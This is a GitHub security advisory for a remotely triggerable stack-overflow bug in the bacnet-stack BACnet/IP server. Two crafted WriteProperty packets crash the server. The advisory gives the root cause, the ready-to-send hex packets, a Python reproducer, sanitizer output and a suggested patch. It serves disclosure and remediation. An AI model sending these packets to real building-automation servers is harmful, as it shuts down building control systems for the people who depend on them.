Skip to content

Channel member self-reference causes uncontrolled recursion and stack overflow in default BACnet/IP server

High
skarg published GHSA-wjw5-q9g6-2764 Jul 5, 2026

Package

bacnet-stack

Affected versions

<= 1.5.0

Patched versions

1.4.4, 1.5.1

Description

Summary

A remote attacker can trigger an uncontrolled recursion and stack overflow in the default server application of bacnet-stack by abusing the Channel object.

The issue arises because PROP_LIST_OF_OBJECT_PROPERTY_REFERENCES accepts a self-referential entry pointing back to the same Channel object's PROP_PRESENT_VALUE. A subsequent WriteProperty request to that Channel object's PROP_PRESENT_VALUE causes the implementation to re-expand the persisted member reference through the internal Device_Write_Property callback, creating an unbounded recursive loop:

Channel_Write_Property -> Channel_Present_Value_Write -> Channel_Write_Members -> Device_Write_Property -> Channel_Write_Property -> ...

This results in a reliable server-side stack-overflow and process crash. It is a real remotely reachable denial-of-service issue in the default server configuration

Affected Product

  • Version confirmed affected: 1.4.3 and 1.5.0
  • Affected component: Channel object write path in the default BACnet/IP server

Affected Code Areas

The vulnerable behavior is the result of the interaction between the following code paths:

  • apps/server/main.c

    • Init_Service_Handlers()
    • default registration of WriteProperty
    • default example object creation, including channel-1
  • src/bacnet/basic/object/device.c

    • object table includes OBJECT_CHANNEL
    • Device_Init() binds Channel_Write_Property_Internal_Callback to Device_Write_Property
    • Device_Write_Property() dispatches internal member writes back into object write handlers
  • src/bacnet/basic/object/channel.c

    • Channel_Write_Property()
    • Channel_Present_Value_Write()
    • Channel_Write_Members()
    • Channel_List_Of_Object_Property_References_Write()
    • List_Of_Object_Property_References_Set()

Root Cause

1. Persistent member list accepts a dangerous self-reference

The write path for PROP_LIST_OF_OBJECT_PROPERTY_REFERENCES performs type and array handling, but does not reject a member reference that points back to:

  • the same object type: OBJECT_CHANNEL
  • the same object instance: current Channel
  • the same target property: PROP_PRESENT_VALUE

As a result, an attacker can persist a member entry equivalent to:

  • target object: Channel:1
  • target property: Present_Value
  • array index: all / none-specific

This creates a self-referential writeback edge inside the Channel object state.

2. Present_Value writeback blindly replays persisted members

When PROP_PRESENT_VALUE is later written on the same Channel, Channel_Present_Value_Write() invokes Channel_Write_Members().

Channel_Write_Members() walks the persisted Members[] list and reconstructs a new internal BACNET_WRITE_PROPERTY_DATA request for each member entry. It then forwards that write via the internal write callback, which is already bound to Device_Write_Property().

Because the malicious member points back to the same Channel object's PROP_PRESENT_VALUE, the internal write dispatch re-enters:

  • Device_Write_Property()
  • Channel_Write_Property()
  • Channel_Present_Value_Write()
  • Channel_Write_Members()

There is no recursion guard, no cycle detection, and no rejection of this self-referential configuration.

3. Result

The recursion is unbounded and continues until the server exhausts stack space and terminates with AddressSanitizer: stack-overflow.

Reproduction

Build server with sanitizers

cmake -S . -B build \
  -G "Unix Makefiles" \
  -DCMAKE_C_COMPILER=clang \
  -DCMAKE_BUILD_TYPE=Debug \
  -DBACNET_STACK_BUILD_APPS=ON \
  -DBACDL_BIP=ON \
  -DBACDL_BIP6=OFF \
  -DBACDL_ETHERNET=OFF \
  -DBACDL_MSTP=OFF \
  -DBACDL_ARCNET=OFF \
  -DBAC_ROUTING=ON \
  -DBACNET_PROPERTY_LISTS=ON \
  -DCMAKE_C_FLAGS_DEBUG="-O0 -g3 -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-inline -fsanitize=address,undefined" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"

cmake --build build --target server -j4

Start the real server

BACNET_IFACE=lo BACNET_IP_PORT=47808 ./server

Proof of Concept

The following two BACnet/IP packets are sufficient to reproduce the issue against the unmodified server.

Packet 1: write a self-referential member entry

810a002101040005010f0c0d400001193629013e0c0d40000119553c0200007b3f

Expected response:

810a0009010020010f

0x20 is SimpleACK, confirming the malicious member reference was accepted and persisted.

Packet 2: write Present_Value to trigger recursive writeback

810a001701040005020f0c0d40000119553e21013f4910

Expected result:

  • no valid server response
  • server enters recursive loop
  • ASan terminates the process with stack-overflow

Minimal Python Reproducer

import socket, time

member = bytes.fromhex('810a002101040005010f0c0d400001193629013e0c0d40000119553c0200007b3f')
present = bytes.fromhex('810a001701040005020f0c0d40000119553e21013f4910')

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', 47809))
s.settimeout(1.0)

s.sendto(member, ('127.0.0.1', 47808))
print('member resp =', s.recvfrom(2048)[0].hex())

time.sleep(0.1)

s.sendto(present, ('127.0.0.1', 47808))
try:
    print('present resp =', s.recvfrom(2048)[0].hex())
except Exception as e:
    print('present resp = none', type(e).__name__)

Observed output:

member resp = 810a0009010020010f
present resp = none TimeoutError

Observed Server Output

Representative ASan backtrace:

ERROR: AddressSanitizer: stack-overflow
#0  Channel_Write_Property      src/bacnet/basic/object/channel.c:1267
#1  Device_Write_Property       src/bacnet/basic/object/device.c:3500
#2  Channel_Write_Members       src/bacnet/basic/object/channel.c:752
#3  Channel_Present_Value_Write src/bacnet/basic/object/channel.c:841
#4  Channel_Write_Property      src/bacnet/basic/object/channel.c:1287
#5  Device_Write_Property       src/bacnet/basic/object/device.c:3500
#6  Channel_Write_Members       src/bacnet/basic/object/channel.c:752
#7  Channel_Present_Value_Write src/bacnet/basic/object/channel.c:841
...
SUMMARY: AddressSanitizer: stack-overflow in Channel_Write_Property

Impact

A remote attacker can reliably crash the BACnet/IP server by sending two crafted WriteProperty requests.

The first request writes a self-referential Channel member entry and receives a SimpleACK, showing that the malicious state is accepted and persisted by the server. The second request writes PROP_PRESENT_VALUE on the same Channel, which causes the implementation to replay the persisted member through the internal Device_Write_Property() callback and re-enter the same Channel write path recursively until stack exhaustion occurs.

Security-relevant characteristics of this issue:

  • reachable over the network through BACnet/IP
  • affects the real server process, not only an internal test path
  • requires no source modification to reproduce
  • persists attacker-controlled state before the final trigger
  • reproducible with raw packet replay
  • causes reliable denial of service through uncontrolled recursion and stack overflow

Current evidence supports availability impact in the form of a stable server-side crash.

Suggested Minimal Patch

Patch Part 1: Reject direct self-reference during member write

In src/bacnet/basic/object/channel.c, add a helper:

static bool Channel_Member_Is_Direct_Self_Present_Value(
    uint32_t channel_instance,
    const BACNET_DEVICE_OBJECT_PROPERTY_REFERENCE *ref)
{
    if (!ref) {
        return false;
    }

    return (ref->objectIdentifier.type == OBJECT_CHANNEL) &&
           (ref->objectIdentifier.instance == channel_instance) &&
           (ref->propertyIdentifier == PROP_PRESENT_VALUE);
}

Then, in Channel_List_Of_Object_Property_References_Write(), immediately after decoding the BACNET_DEVICE_OBJECT_PROPERTY_REFERENCE and before storing it into pObject->Members[index], reject the dangerous case:

if (Channel_Member_Is_Direct_Self_Present_Value(
        object_instance, &value.type.Device_Object_Property_Reference)) {
    wp_data->error_class = ERROR_CLASS_PROPERTY;
    wp_data->error_code = ERROR_CODE_VALUE_OUT_OF_RANGE;
    return false;
}

This prevents the exact exploit path described above.

Patch Part 2: Add runtime recursion guard

Extend the per-object Channel state with a re-entry flag.

For example, in the Channel object structure:

struct object_data {
    ...
    bool writeback_active;
    ...
};

Then guard Channel_Write_Members():

static bool Channel_Write_Members(
    struct object_data *pObject,
    uint32_t object_instance,
    BACNET_CHANNEL_VALUE *value,
    unsigned priority)
{
    bool status = false;

    if (!pObject) {
        return false;
    }

    if (pObject->writeback_active) {
        return false;
    }

    pObject->writeback_active = true;

    status = true;

    for (unsigned i = 0; i < CHANNEL_MEMBERS_MAX; i++) {
        BACNET_WRITE_PROPERTY_DATA member_wp = { 0 };

        if (!Channel_Member_Reference_Valid(&pObject->Members[i])) {
            continue;
        }

        member_wp.object_type =
            pObject->Members[i].objectIdentifier.type;
        member_wp.object_instance =
            pObject->Members[i].objectIdentifier.instance;
        member_wp.object_property =
            pObject->Members[i].propertyIdentifier;
        member_wp.array_index =
            pObject->Members[i].arrayIndex;
        member_wp.priority = priority;
        member_wp.application_data = ...;
        member_wp.application_data_len = ...;

        if (!Write_Property_Internal_Callback ||
            !Write_Property_Internal_Callback(&member_wp)) {
            status = false;
            break;
        }
    }

    pObject->writeback_active = false;
    return status;
}

Remediation included in PR #1345

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-47217

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. Learn more on MITRE.

Improper Check for Unusual or Exceptional Conditions

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. Learn more on MITRE.

Credits